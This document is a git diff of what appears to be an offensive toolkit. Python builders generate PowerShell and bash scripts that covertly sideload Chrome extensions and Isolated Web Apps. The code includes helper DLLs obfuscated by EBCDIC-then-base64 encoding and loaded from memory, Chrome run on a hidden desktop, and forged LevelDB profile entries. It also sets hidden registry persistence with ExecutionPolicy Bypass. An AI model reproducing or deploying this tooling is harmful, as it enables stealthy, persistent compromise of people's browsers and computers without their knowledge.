[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $ExtensionPath)
Write-Host "Extension extracted successfully" -ForegroundColor Green
}}
finally {{
# Clean up temp file
if (Test-Path $tempZipPath) {{
Remove-Item $tempZipPath -Force
}}
}}
}}
'''
return extract_extension_func
def read_template_script():
"""Read the template PowerShell script."""
script_path = Path(__file__).parent / "ChromeExtensionSideloader.ps1"
with open(script_path, 'r', encoding='utf-8') as f:
return f.read()
def build_sideloader_script(extension_folder, install_path, output_path=None):
"""Build the complete sideloader script."""
print(f"Building sideloader script...")
print(f" Extension folder: {extension_folder}")
print(f" Install path: {install_path}")
# Create ZIP of extension folder
print("Creating extension ZIP...")
extension_zip_bytes = zip_folder(extension_folder)
extension_base64 = base64.b64encode(extension_zip_bytes).decode('utf-8')
# Read template script
print("Reading template script...")
template_script = read_template_script()
# Create extraction functions
print("Creating extraction functions...")
extraction_functions = create_extraction_functions(extension_base64)
# Replace placeholder functions in template
script_content = template_script.replace(
'# These functions will be replaced by the Python builder with actual extraction logic\n'
'function Extract-EmbeddedExtension {\n'
' param([string]$ExtensionPath)\n'
' # This will be replaced by the Python builder\n'
' throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
'}\n\n',
extraction_functions
)
# Set default parameters
script_content = script_content.replace(
'[string]$ExtensionInstallDir = "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\myextension"',
f'[string]$ExtensionInstallDir = "{install_path}"'
)
# Write output
if output_path:
output_file = Path(output_path)
else:
extension_name = Path(extension_folder).name
output_file = Path(f"{extension_name}_sideloader.ps1")
print(f"Writing output to: {output_file}")
with open(output_file, 'w', encoding='utf-8') as f:
f.write(script_content)
print(f"✅ Sideloader script created successfully: {output_file}")
print(f"📦 Extension size: {len(extension_zip_bytes):,} bytes")
return output_file
def main():
parser = argparse.ArgumentParser(
description="Build a Chrome Extension Sideloader PowerShell script",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__
)
parser.add_argument(
"extension_folder",
help="Path to the extension folder to deploy"
)
parser.add_argument(
"install_path",
help="Installation path for the extension (can include environment variables like %%LOCALAPPDATA%%)"
)
parser.add_argument(
"-o", "--output",
help="Output file path (default: <extension_name>_sideloader.ps1)"
)
args = parser.parse_args()
try:
output_file = build_sideloader_script(
args.extension_folder,
args.install_path,
args.output
)
print(f"\n🎉 Build completed successfully!")
print(f"📄 Generated: {output_file}")
print(f"\nTo deploy the extension, run:")
print(f" powershell -ExecutionPolicy Bypass -File {output_file}")
except Exception as e:
print(f"❌ Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
@@ -0,0 +1,87 @@
#!/usr/bin/env python3
"""
Windows Chrome Extension Sideloader Builder
This module provides Windows-specific functionality for building Chrome extension
sideloaders using PowerShell scripts.
"""
from pathlib import Path
from base_extension_builder import BaseExtensionBuilder
class WindowsExtensionBuilder(BaseExtensionBuilder):
"""Windows-specific extension sideloader builder using PowerShell."""
def get_script_extension(self):
"""Return the PowerShell script extension."""
return ".ps1"
def create_extraction_functions(self, extension_base64):
"""Create PowerShell extraction functions."""
extract_extension_func = f'''
function Extract-EmbeddedExtension {{
param([string]$ExtensionPath)
Write-Host "Extracting embedded extension to: $ExtensionPath" -ForegroundColor Cyan
# Create directory if it doesn't exist, or clear existing content
if (Test-Path $ExtensionPath) {{
Write-Host "Clearing existing extension directory..." -ForegroundColor Yellow
Remove-Item $ExtensionPath -Recurse -Force
}}
New-Item -ItemType Directory -Path $ExtensionPath -Force | Out-Null
# Decode and extract the embedded extension
$extensionZipBase64 = "{extension_base64}"
$extensionZipBytes = [System.Convert]::FromBase64String($extensionZipBase64)
# Create temporary ZIP file
$tempZipPath = [System.IO.Path]::GetTempFileName()
[System.IO.File]::WriteAllBytes($tempZipPath, $extensionZipBytes)
try {{
# Extract ZIP contents
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $ExtensionPath)
Write-Host "Extension extracted successfully" -ForegroundColor Green
}}
finally {{
# Clean up temp file
if (Test-Path $tempZipPath) {{
Remove-Item $tempZipPath -Force
}}
}}
}}
'''
return extract_extension_func
def read_template_script(self):
"""Read the PowerShell template script."""
script_path = Path(__file__).parent / "powershell" / "ChromeExtensionSideloader.ps1"
with open(script_path, 'r', encoding='utf-8') as f:
return f.read()
def build_script_content(self, template_script, extraction_functions, extension_base64):
"""Build the complete PowerShell script content."""
# Replace placeholder functions in template
script_content = template_script.replace(
'# These functions will be replaced by the Python builder with actual extraction logic\n'
'function Extract-EmbeddedExtension {\n'
' param([string]$ExtensionPath)\n'
' # This will be replaced by the Python builder\n'
' throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
'}\n\n',
extraction_functions
)
# Set default parameters
script_content = script_content.replace(
'[string]$ExtensionInstallDir = "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\myextension"',
f'[string]$ExtensionInstallDir = "{self.install_path}"'
)
return script_content
+128
View File
@@ -0,0 +1,128 @@
import os
import base64
import uuid
from abc import ABC, abstractmethod
from reference.bundleParser import parse_signed_web_bundle_header, extract_manifest_from_bundle
from reference.getAppId import create_web_bundle_id_from_public_key, get_chrome_app_id
from reference.protobufUpdater import parse_protobuf, update_with_origin
import binascii
import random
from datetime import datetime
class BaseSideloader(ABC):
"""Base class for platform-specific sideloaders."""
def __init__(self, bundle_path, app_name="DOORKNOB"):
self.bundle_path = bundle_path
self.app_name = app_name
self.bundle_data = None
self.protobuf_hex = None
self.app_id = None
self.iwa_folder_name = None
self.iwa_tab_url = None
# Load bundle data and generate required values
self._load_bundle_data()
self._generate_protobuf_data()
def _load_bundle_data(self):
"""Load and base64 encode the bundle file."""
with open(self.bundle_path, 'rb') as f:
self.bundle_data = base64.b64encode(f.read()).decode('ascii')
def _generate_protobuf_data(self):
"""Generate protobuf data using information from manifest and bundle."""
# Read manifest from bundle
manifest = extract_manifest_from_bundle(self.bundle_path)
app_name = manifest['name']
version = manifest['version']
# Parse bundle to get signature and public key
bundle_info = parse_signed_web_bundle_header(self.bundle_path)
public_key = bundle_info['public_key']
signature_info = bundle_info['signature']
# Generate IDs from public key
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(public_key))
origin = f"isolated-app://{web_bundle_id}"
self.iwa_tab_url = origin
self.app_id = get_chrome_app_id(public_key)
# Generate other required values
install_time = int(datetime.now().timestamp())
self.iwa_folder_name = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
# Print information
print("Generated values:")
print(f"APP_NAME: {app_name}")
print(f"VERSION: {version}")
print(f"ORIGIN: {origin}")
print(f"APP_ID: {self.app_id}")
print(f"PUBLIC_KEY: {public_key}")
print(f"SIGNATURE_INFO: {signature_info}")
print(f"IWA_FOLDER_NAME: {self.iwa_folder_name}")
print(f"IWA_ORIGIN: {self.iwa_tab_url}")
# Read template protobuf
script_dir = os.path.dirname(os.path.abspath(__file__))
template_path = os.path.join(script_dir, "reference", "app.pb")
with open(template_path, 'rb') as f:
template_data = f.read()
# Parse and update protobuf
message = parse_protobuf(template_data)
# Convert string values to bytes for length-delimited fields
def to_bytes(s: str) -> bytes:
return s.encode('utf-8')
# Track jitter count for field 59.1.3.2
jitter_count = 0
def add_jitter(base_time: int, _) -> int:
nonlocal jitter_count
jitter_count += 1
return base_time + jitter_count + random.randint(5, 10)
# Perform field updates
updates = [
([1, 1], to_bytes(f"{origin}/")),
([1, 2], to_bytes(app_name)),
([1, 5], to_bytes(f"{origin}/")),
([1, 6, 2], origin, update_with_origin),
([2], to_bytes(app_name)),
([6], to_bytes(f"{origin}/")),
([10, 2], origin, update_with_origin),
([16], install_time),
([30], origin, update_with_origin),
([49, 2], to_bytes(origin)),
([59, 1, 3, 2], install_time, add_jitter),
([59, 1, 1], to_bytes(app_name)),
([59, 5, 2], to_bytes(app_name)),
([60, 1, 1], to_bytes(self.iwa_folder_name)),
([60, 6], to_bytes(version)),
([60, 7, 1, 1, 1], to_bytes(public_key)),
([60, 7, 1, 1, 2], to_bytes(signature_info)),
([64], install_time),
]
for field_path, value, *transform in updates:
message.update_field(field_path, value, transform[0] if transform else None)
# Serialize
serialized = message.serialize()
self.protobuf_hex = binascii.hexlify(serialized).decode('ascii')
@abstractmethod
def get_platform_config(self):
"""Return platform-specific configuration."""
pass
@abstractmethod
def generate_script(self, output_path):
"""Generate the platform-specific sideloader script."""
pass
def generate_guid(self):
"""Generate a GUID for desktop/session naming."""
return str(uuid.uuid4())
+35 -309
View File
@@ -1,322 +1,37 @@
#!/usr/bin/env python3
"""
IWA Sideloader Script Generator
This script generates platform-specific sideloader scripts for Isolated Web Apps (IWAs).
It supports both Windows (PowerShell) and macOS (bash) platforms.
The script has been refactored into a modular architecture:
- base_sideloader.py: Common functionality and abstract base class
- windows_sideloader.py: Windows-specific PowerShell script generation
- macos_sideloader.py: macOS-specific bash script generation
Usage:
python3 createSideloader.py bundle.swbn --platform windows
python3 createSideloader.py bundle.swbn --platform macos
"""
import os
import sys
import json
import base64
import argparse
import re
from datetime import datetime
import random
import uuid
from reference.bundleParser import parse_signed_web_bundle_header, extract_manifest_from_bundle
from reference.getAppId import create_web_bundle_id_from_public_key, get_chrome_app_id
from reference.protobufUpdater import parse_protobuf, update_with_origin
import binascii
from windows_sideloader import WindowsSideloader
from macos_sideloader import MacOSSideloader
IWA_APP_NAME = "DOORKNOB"
def generate_protobuf(bundle_path):
"""Generate protobuf data using information from manifest and bundle."""
# Read manifest from bundle
manifest = extract_manifest_from_bundle(bundle_path)
APP_NAME = manifest['name']
VERSION = manifest['version']
# Parse bundle to get signature and public key
bundle_info = parse_signed_web_bundle_header(bundle_path)
PUBLIC_KEY = bundle_info['public_key']
SIGNATURE_INFO = bundle_info['signature']
# Generate IDs from public key
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(PUBLIC_KEY))
ORIGIN = f"isolated-app://{web_bundle_id}"
APP_ID = get_chrome_app_id(PUBLIC_KEY)
# Generate other required values
INSTALL_TIME = int(datetime.now().timestamp())
IWA_FOLDER_NAME = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
# Print information
print("Generated values:")
print(f"APP_NAME: {APP_NAME}")
print(f"VERSION: {VERSION}")
print(f"ORIGIN: {ORIGIN}")
print(f"APP_ID: {APP_ID}")
print(f"PUBLIC_KEY: {PUBLIC_KEY}")
print(f"SIGNATURE_INFO: {SIGNATURE_INFO}")
print(f"IWA_FOLDER_NAME: {IWA_FOLDER_NAME}")
# Read template protobuf
script_dir = os.path.dirname(os.path.abspath(__file__))
template_path = os.path.join(script_dir, "reference", "app.pb")
with open(template_path, 'rb') as f:
template_data = f.read()
# Parse and update protobuf
message = parse_protobuf(template_data)
# Convert string values to bytes for length-delimited fields
def to_bytes(s: str) -> bytes:
return s.encode('utf-8')
# Track jitter count for field 59.1.3.2
jitter_count = 0
def add_jitter(base_time: int, _) -> int:
nonlocal jitter_count
jitter_count += 1
return base_time + jitter_count + random.randint(5, 10)
# Perform field updates
updates = [
([1, 1], to_bytes(f"{ORIGIN}/")),
([1, 2], to_bytes(APP_NAME)),
([1, 5], to_bytes(f"{ORIGIN}/")),
([1, 6, 2], ORIGIN, update_with_origin),
([2], to_bytes(APP_NAME)),
([6], to_bytes(f"{ORIGIN}/")),
([10, 2], ORIGIN, update_with_origin),
([16], INSTALL_TIME),
([30], ORIGIN, update_with_origin),
([49, 2], to_bytes(ORIGIN)),
([59, 1, 3, 2], INSTALL_TIME, add_jitter),
([59, 1, 1], to_bytes(APP_NAME)),
([59, 5, 2], to_bytes(APP_NAME)),
([60, 1, 1], to_bytes(IWA_FOLDER_NAME)),
([60, 6], to_bytes(VERSION)),
([60, 7, 1, 1, 1], to_bytes(PUBLIC_KEY)),
([60, 7, 1, 1, 2], to_bytes(SIGNATURE_INFO)),
([64], INSTALL_TIME),
]
for field_path, value, *transform in updates:
message.update_field(field_path, value, transform[0] if transform else None)
# Serialize
serialized = message.serialize()
hex_output = binascii.hexlify(serialized).decode('ascii')
return hex_output, APP_ID, IWA_FOLDER_NAME
def encode_dll_to_ebcdic_base64(file_path):
"""
Reads a DLL file, encodes it using EBCDIC encoding, then base64 encodes it.
Args:
file_path: Path to the DLL file
Returns:
Base64 encoded string of the EBCDIC encoded DLL
"""
try:
# Check if file exists
if not os.path.exists(file_path):
print(f"Error: File not found at {file_path}", file=sys.stderr)
return None
# Read the binary content of the DLL
with open(file_path, 'rb') as file:
dll_bytes = file.read()
# Convert binary to EBCDIC encoding
# Using cp037 which is the Python codec for EBCDIC (US/Canada)
ebcdic_encoded = dll_bytes.decode('latin-1').encode('cp037')
# Base64 encode the EBCDIC encoded bytes
base64_encoded = base64.b64encode(ebcdic_encoded).decode('ascii')
return base64_encoded
except Exception as e:
print(f"Error: {str(e)}", file=sys.stderr)
return None
def generate_powershell_script(bundle_path, output_path, app_name=None):
"""Generate the PowerShell sideloader script."""
# Use provided app_name if available, otherwise use default
global IWA_APP_NAME
if app_name:
IWA_APP_NAME = app_name
print(f"Using custom app name: {IWA_APP_NAME}")
# Read the bundle file as base64
with open(bundle_path, 'rb') as f:
bundle_data = base64.b64encode(f.read()).decode('ascii')
# Generate protobuf and get required values
protobuf_hex, app_id, iwa_folder_name = generate_protobuf(bundle_path)
# Generate a GUID for the desktop name
desktop_guid = str(uuid.uuid4())
# Read the template files
script_dir = os.path.dirname(os.path.abspath(__file__))
with open(os.path.join(script_dir, 'initializeIWAChrome.ps1'), 'r') as f:
init_script = f.read()
with open(os.path.join(script_dir, 'writeLevelDb.ps1'), 'r') as f:
leveldb_script = f.read()
# Read the HiddenDesktopNative DLL and encode as base64
dll_path = os.path.join(script_dir, 'HiddenDesktopNative', 'dist', 'ProcessHelper.dll')
with open(dll_path, 'rb') as f:
dll_data = encode_dll_to_ebcdic_base64(dll_path)
# Read the RegHelper DLL and encode as base64
reghelper_dll_path = os.path.join(script_dir, 'RegHelper', 'dist', 'RegHelper.dll')
with open(reghelper_dll_path, 'rb') as f:
reghelper_dll_data = encode_dll_to_ebcdic_base64(reghelper_dll_path)
# Read the memory DLL loader script
with open(os.path.join(script_dir, 'decodeAndLoadModule.ps1'), 'r') as f:
module_loader_script = f.read()
# Read the Chrome IWA Start Script
with open(os.path.join(script_dir, 'startIWAApp.ps1'), 'r') as f:
start_script = f.read()
# Create the combined script
script = f"""
# Generated IWA Sideloader Script
# App ID: {app_id}
# App Name: {IWA_APP_NAME}
# IWA Folder: {iwa_folder_name}
$env:APP_NAME = "{IWA_APP_NAME}"
$bundleData = @"
{bundle_data}
"@
# Extract the ProcessHelper.dll to the current directory
$assemblyName = "ProcessHelper"
$assemblyBytesBase64 = @"
{dll_data}
"@
# RegHelper.dll data for registry operations
$regHelperAssemblyBytesBase64 = @"
{reghelper_dll_data}
"@
# Create Directory at $appPath
$appPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
New-Item -Path $appPath -ItemType Directory -Force
# Include the module loader script
{module_loader_script}
# Use a shared desktop name for both Chrome instances
$sharedDesktopName = "Desktop_{desktop_guid}"
Write-Host "Using shared hidden desktop: $sharedDesktopName"
# Call the function to decode and load the ProcessHelper module
$dllPath = Join-Path $appPath "ProcessHelper.dll"
$moduleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $assemblyBytesBase64 -dllPath $dllPath
if (-not $moduleLoaded) {{
Write-Error "Failed to load the ProcessHelper module. Exiting."
exit 1
}}
# Decode and load the RegHelper module
$regHelperDllPath = Join-Path $appPath "RegHelper.dll"
$regHelperModuleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $regHelperAssemblyBytesBase64 -dllPath $regHelperDllPath
if (-not $regHelperModuleLoaded) {{
Write-Error "Failed to load the RegHelper module. Exiting."
exit 1
}}
# First initialize Chrome with IWA settings
{init_script}
# Then handle LevelDB operations
{leveldb_script}
# Move ProcessHelper.dll to the app directory
Move-Item -Path $dllPath -Destination $appPath
# Move RegHelper.dll to the app directory
Move-Item -Path $regHelperDllPath -Destination $appPath
# Override Initialize-IWADirectory to use embedded bundle data
function Initialize-IWADirectory {{
param (
[Parameter(Mandatory=$true)]
[string]$AppInternalName
)
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$iwaDir = Join-Path $userDataDir "Default\\iwa\\$AppInternalName"
# Create directories if they don't exist
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
# Write bundle data
$bundleBytes = [Convert]::FromBase64String($bundleData)
[System.IO.File]::WriteAllBytes((Join-Path $iwaDir "main.swbn"), $bundleBytes)
}}
# Initialize IWA directory
Initialize-IWADirectory -AppInternalName "{iwa_folder_name}"
# Write LevelDB entry
$logPath = Get-LevelDBLogFilePath
Write-Output "Log Path: $logPath"
Write-LevelDBEntry -FilePath $logPath -SequenceNumber 99 -Key "web_apps-dt-{app_id}" -ValueHex "{protobuf_hex}"
Write-Output "Launching Chrome for IWA ({app_id}) at Path $env:CHROME_PATH"
$env:IWA_APP_ID = "{app_id}"
# Prepare the start script with proper variable handling
$startScriptPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$startScriptPath = Join-Path $startScriptPath "startIWAApp.ps1"
# Create the script content as a simple string
$startScriptContent = "# Environment variables for IWA app `n"
$startScriptContent += "`$env:CHROME_PATH = `"$env:CHROME_PATH`" `n"
$startScriptContent += "`$env:USER_DATA_DIR = `"$env:USER_DATA_DIR`" `n"
$startScriptContent += "`$env:APP_NAME = `"$env:APP_NAME`" `n"
$startScriptContent += "`$env:IWA_APP_ID = `"$env:IWA_APP_ID`" `n"
$startScriptContent += "`$sharedDesktopName = `"$sharedDesktopName`" `n"
$startScriptContent += "`n# Start script content`n"
$startScriptContent += @'
{start_script}
'@
Write-Host "Writing start script to: $startScriptPath"
[System.IO.File]::WriteAllText($startScriptPath, $startScriptContent)
# Now run the start script
Write-Host "Running the IWA app..."
& $startScriptPath
# Setup persistence using the RegHelper module
Write-Host "`nSetting up persistence using copy-and-replace registry strategy..." -ForegroundColor Cyan
# Define persistence parameters
$persistenceValueName = "{IWA_APP_NAME}.Updater"
$persistenceValueData = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$startScriptPath`""
# Execute the persistence setup using the RegHelper module
try {{
Invoke-RegistryPersistence -PersistenceValueName $persistenceValueName -PersistenceValueData $persistenceValueData
}} catch {{
Write-Error "Failed to setup persistence: $($_.Exception.Message)"
throw
}}
"""
with open(output_path, 'w') as f:
f.write(script)
print(f"\nGenerated sideloader script: {output_path}")
print(f"Using shared desktop name: Desktop_{desktop_guid}")
def main():
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description='Generate platform-specific IWA sideloader scripts')
parser.add_argument('bundle_path', help='Path to the .swbn bundle file')
parser.add_argument('--output', help='Output path for the sideloader script')
parser.add_argument('--appname', help='Override the default IWA app name (default: DOORKNOB)')
parser.add_argument('--platform', choices=['windows', 'macos'], default='windows',
help='Target platform for the sideloader (default: windows)')
args = parser.parse_args()
try:
@@ -324,12 +39,23 @@ def main():
if not os.path.exists(args.bundle_path):
raise FileNotFoundError(f"Bundle file not found: {args.bundle_path}")
# Use provided app_name if available, otherwise use default
app_name = args.appname if args.appname else IWA_APP_NAME
# Generate default output path if not specified
if not args.output:
bundle_name = os.path.splitext(os.path.basename(args.bundle_path))[0]
args.output = f"{bundle_name}-sideloader.ps1"
extension = ".ps1" if args.platform == "windows" else ".sh"
args.output = f"{bundle_name}-sideloader-{args.platform}{extension}"
generate_powershell_script(args.bundle_path, args.output, args.appname)
# Create the appropriate sideloader instance
if args.platform == "windows":
sideloader = WindowsSideloader(args.bundle_path, app_name)
else: # macos
sideloader = MacOSSideloader(args.bundle_path, app_name)
# Generate the script
sideloader.generate_script(args.output)
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
+492
View File
@@ -0,0 +1,492 @@
import os
from base_sideloader import BaseSideloader
class MacOSSideloader(BaseSideloader):
"""macOS-specific sideloader implementation using bash and osascript."""
def get_platform_config(self):
"""Return macOS-specific configuration."""
return {
'chrome_paths': [
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
],
'base_data_dir': "$HOME/Library/Application Support",
'chrome_profile_path': "Default",
'iwa_path_separator': "/",
'leveldb_path': "Default/Sync Data/LevelDB"
}
def generate_script(self, output_path):
"""Generate the macOS bash script sideloader."""
config = self.get_platform_config()
# Create the macOS shell script using string concatenation to avoid f-string issues
script_header = f'''#!/bin/bash
# Generated IWA Sideloader Script for macOS
# App ID: {self.app_id}
# App Name: {self.app_name}
# IWA Tab: {self.iwa_tab_url}
# IWA Folder: {self.iwa_folder_name}
set -e
export APP_NAME="{self.app_name}"
# Base64 encoded bundle data
BUNDLE_DATA="{self.bundle_data}"
# Function to find Chrome installation
find_chrome() {{
local chrome_path="{config['chrome_paths'][0]}"
if [[ -f "$chrome_path" ]]; then
echo "$chrome_path"
return 0
fi
echo "Error: Chrome not found at $chrome_path" >&2
exit 1
}}
# CRC32C implementation ported from PowerShell
# Initialize CRC32C lookup table
init_crc32c_table() {{
local polynomial=0x82F63B78
local i j crc
# Create lookup table array
for ((i=0; i<256; i++)); do
crc=$i
for ((j=0; j<8; j++)); do
if (( (crc & 1) == 1 )); then
crc=$(( (crc >> 1) ^ polynomial ))
else
crc=$(( crc >> 1 ))
fi
done
CRC32C_TABLE[$i]=$crc
done
}}
# XOR operation for CRC32C (equivalent to PowerShell DoMath function)
do_xor() {{
local val1=$1
local val2=$2
echo $(( val1 ^ val2 ))
}}
# Calculate CRC32C hash
get_crc32c() {{
local hex_data="$1"
local crc=0xFFFFFFFF
local byte_val temp index shifted
# Convert hex string to bytes and process each byte
for ((i=0; i<${{#hex_data}}; i+=2)); do
byte_val="0x${{hex_data:$i:2}}"
temp=$(do_xor $crc $byte_val)
index=$(( temp & 0xFF ))
shifted=$(( crc >> 8 ))
crc=$(do_xor ${{CRC32C_TABLE[$index]}} $shifted)
crc=$(( crc & 0xFFFFFFFF ))
done
crc=$(do_xor $crc 0xFFFFFFFF)
echo $crc
}}
# Mask CRC32C (equivalent to PowerShell Mask-CRC32C)
mask_crc32c() {{
local crc=$1
local K_MASK_DELTA=0xA282EAD8
local right_shift=$(( crc >> 15 ))
local left_shift=$(( (crc << 17) & 0xFFFFFFFF ))
local rotated=$(( right_shift | left_shift ))
local masked=$(( (rotated + K_MASK_DELTA) & 0xFFFFFFFF ))
echo $masked
}}
# Convert uint32 to little-endian hex
to_little_endian_hex() {{
local value=$1
printf "%02x%02x%02x%02x" \\
$(( value & 0xFF )) \\
$(( (value >> 8) & 0xFF )) \\
$(( (value >> 16) & 0xFF )) \\
$(( (value >> 24) & 0xFF ))
}}
# Calculate LevelDB hash
calc_leveldb_hash() {{
local data="$1"
local crc32c_hash=$(get_crc32c "$data")
local masked_crc32c=$(mask_crc32c $crc32c_hash)
to_little_endian_hex $masked_crc32c
}}
# Convert integer to VarInt32 format
to_varint32() {{
local value=$1
local result=""
local byte
if [[ $value -eq 0 ]]; then
echo "00"
return
fi
while [[ $value -ne 0 ]]; do
byte=$(( value & 0x7F ))
value=$(( value >> 7 ))
if [[ $value -ne 0 ]]; then
byte=$(( byte | 0x80 ))
fi
result="$result$(printf "%02x" $byte)"
done
echo "$result"
}}
# Convert string to hex
string_to_hex() {{
local str="$1"
echo -n "$str" | xxd -p | tr -d '\\n'
}}
# Create complete LevelDB entry
create_leveldb_entry() {{
local sequence_number=$1
local key="$2"
local value_hex="$3"
# 1. Create Record Format Entry
local key_hex=$(string_to_hex "$key")
local key_length=$(to_varint32 ${{#key}})
local value_length=$(to_varint32 $(( ${{#value_hex}} / 2 )))
# Clean value hex (remove any spaces)
local clean_value_hex=$(echo "$value_hex" | tr -d ' ')
local record_entry="01${{key_length}}${{key_hex}}${{value_length}}${{clean_value_hex}}"
# 2. Create Batch Header (8 bytes sequence + 4 bytes count)
local seq_hex=$(printf "%016x" $sequence_number)
# Convert to little-endian byte order
local seq_le=""
for ((i=14; i>=0; i-=2)); do
seq_le="$seq_le${{seq_hex:$i:2}}"
done
local count_hex="01000000" # 1 record in little-endian
local batch_header="${{seq_le}}${{count_hex}}"
# 3. Calculate LevelDB Hash
local data_to_hash="01${{batch_header}}${{record_entry}}"
local hash=$(calc_leveldb_hash "$data_to_hash")
# 4. Calculate content length
local content_length=$(( (${{#batch_header}} + ${{#record_entry}}) / 2 ))
local length_hex_be=$(printf "%04x" $content_length)
# Convert to little-endian
local length_hex="${{length_hex_be:2:2}}${{length_hex_be:0:2}}"
# 5. Combine all parts
local final_hex="${{hash}}${{length_hex}}01${{batch_header}}${{record_entry}}"
echo "$final_hex"
}}
# Write LevelDB entry to file
write_leveldb_entry() {{
local log_file="$1"
local key="$2"
local value_hex="$3"
local sequence_number="$4"
local entry=$(create_leveldb_entry "$sequence_number" "$key" "$value_hex")
# Convert hex to binary and append to log file
echo -n "$entry" | xxd -r -p >> "$log_file"
}}
# Initialize CRC32C lookup table
declare -a CRC32C_TABLE
init_crc32c_table
# Set up paths
CHROME_PATH=$(find_chrome)
BASE_DATA_DIR="{config['base_data_dir']}"
USER_DATA_DIR="$BASE_DATA_DIR/$APP_NAME"
IWA_DIR="$USER_DATA_DIR/{config['chrome_profile_path']}/iwa/{self.iwa_folder_name}"
LEVELDB_DIR="$USER_DATA_DIR/{config['leveldb_path']}"
echo "Chrome found at: $CHROME_PATH"
echo "User data directory: $USER_DATA_DIR"
# Create necessary directories
mkdir -p "$LEVELDB_DIR"
# Initialize Chrome with IWA settings
LOCAL_STATE_FILE="$USER_DATA_DIR/Local State"
# Create Local State file if it doesn't exist
if [[ ! -f "$LOCAL_STATE_FILE" ]]; then
cat > "$LOCAL_STATE_FILE" << 'EOF'
{{
"browser": {{
"default_browser_infobar_declined_count": 1,
"default_browser_infobar_last_declined_time": 0,
"enabled_labs_experiments": [
"enable-isolated-web-app-dev-mode@1",
"enable-isolated-web-apps@1"
],
"first_run_finished": true
}}
}}
EOF
else
# Update existing Local State file using pure bash JSON manipulation
echo "Updating existing Local State file..."
# Create a backup
cp "$LOCAL_STATE_FILE" "$LOCAL_STATE_FILE.backup"
# Read the existing file
local_state_content=$(cat "$LOCAL_STATE_FILE")
# Check if the file has valid JSON structure
if ! echo "$local_state_content" | grep -q "^{{"; then
echo "Invalid JSON format, recreating file..."
cat > "$LOCAL_STATE_FILE" << 'EOF'
{{
"browser": {{
"default_browser_infobar_declined_count": 1,
"default_browser_infobar_last_declined_time": 0,
"enabled_labs_experiments": [
"enable-isolated-web-app-dev-mode@1",
"enable-isolated-web-apps@1"
],
"first_run_finished": true
}}
}}
EOF
else
# Use sed to update the JSON file
temp_file=$(mktemp)
# First, ensure we have a browser section
if ! echo "$local_state_content" | grep -q '"browser"'; then
# Add browser section if it doesn't exist
echo "$local_state_content" | sed 's/^{{/{{\"browser\":{{}},/' > "$temp_file"
local_state_content=$(cat "$temp_file")
fi
# Remove existing enabled_labs_experiments if present
echo "$local_state_content" | sed '/"enabled_labs_experiments"/,/]/d' > "$temp_file"
# Remove existing first_run_finished if present
sed -i '' '/"first_run_finished"/d' "$temp_file"
# Add our required settings before the closing browser brace
# Find the browser section and add our settings
if grep -q '"browser".*{{' "$temp_file"; then
# Add the settings after the browser opening brace
sed -i '' '/"browser".*{{/a\\
"enabled_labs_experiments": [\\
"enable-isolated-web-app-dev-mode@1",\\
"enable-isolated-web-apps@1"\\
],\\
"first_run_finished": true,' "$temp_file"
else
# Fallback: recreate the file
cat > "$temp_file" << 'EOF'
{{
"browser": {{
"default_browser_infobar_declined_count": 1,
"default_browser_infobar_last_declined_time": 0,
"enabled_labs_experiments": [
"enable-isolated-web-app-dev-mode@1",
"enable-isolated-web-apps@1"
],
"first_run_finished": true
}}
}}
EOF
fi
# Clean up any duplicate commas and format issues
sed -i '' 's/,,/,/g' "$temp_file"
sed -i '' 's/,}}/}}/g' "$temp_file"
# Copy the result back
cp "$temp_file" "$LOCAL_STATE_FILE"
rm -f "$temp_file"
fi
fi
echo "Chrome Local State configured for IWA support"
# Find the latest LevelDB log file
LEVELDB_LOG_FILE=$(ls -t "$LEVELDB_DIR"/*.log 2>/dev/null | head -n1)
if [[ -z "$LEVELDB_LOG_FILE" ]]; then
# If no log file exists, start Chrome briefly to create the database structure
echo "Initializing Chrome profile..."
CHROME_ARGS=(
--allow-no-sandbox-job
--disable-3d-apis
--disable-gpu
--disable-d3d11
--disable-accelerated-layers
--disable-accelerated-plugins
--disable-accelerated-2d-canvas
--disable-deadline-scheduling
--disable-ui-deadline-scheduling
--user-data-dir="$USER_DATA_DIR"
--profile-directory=Default
)
# Start Chrome briefly in the background
"$CHROME_PATH" "${{CHROME_ARGS[@]}}" --headless --disable-gpu --remote-debugging-port=9222 &
CHROME_PID=$!
# Wait for Chrome to initialize
sleep 5
# Kill Chrome
kill $CHROME_PID 2>/dev/null || true
wait $CHROME_PID 2>/dev/null || true
# Wait for files to be written
sleep 2
# Find the log file again
LEVELDB_LOG_FILE=$(ls -t "$LEVELDB_DIR"/*.log 2>/dev/null | head -n1)
fi
if [[ -n "$LEVELDB_LOG_FILE" ]]; then
echo "Writing LevelDB entry to: $LEVELDB_LOG_FILE"
'''
# Now add the dynamic parts
script_middle = f''' write_leveldb_entry "$LEVELDB_LOG_FILE" "web_apps-dt-{self.app_id}" "{self.protobuf_hex}" 99
echo "LevelDB entry written successfully"
else
echo "Warning: Could not find or create LevelDB log file"
fi
# Write bundle data to IWA directory
mkdir -p "$IWA_DIR"
echo -n "$BUNDLE_DATA" | base64 -d > "$IWA_DIR/main.swbn"
echo "Bundle written to: $IWA_DIR/main.swbn"
# Create a simple start script for later use
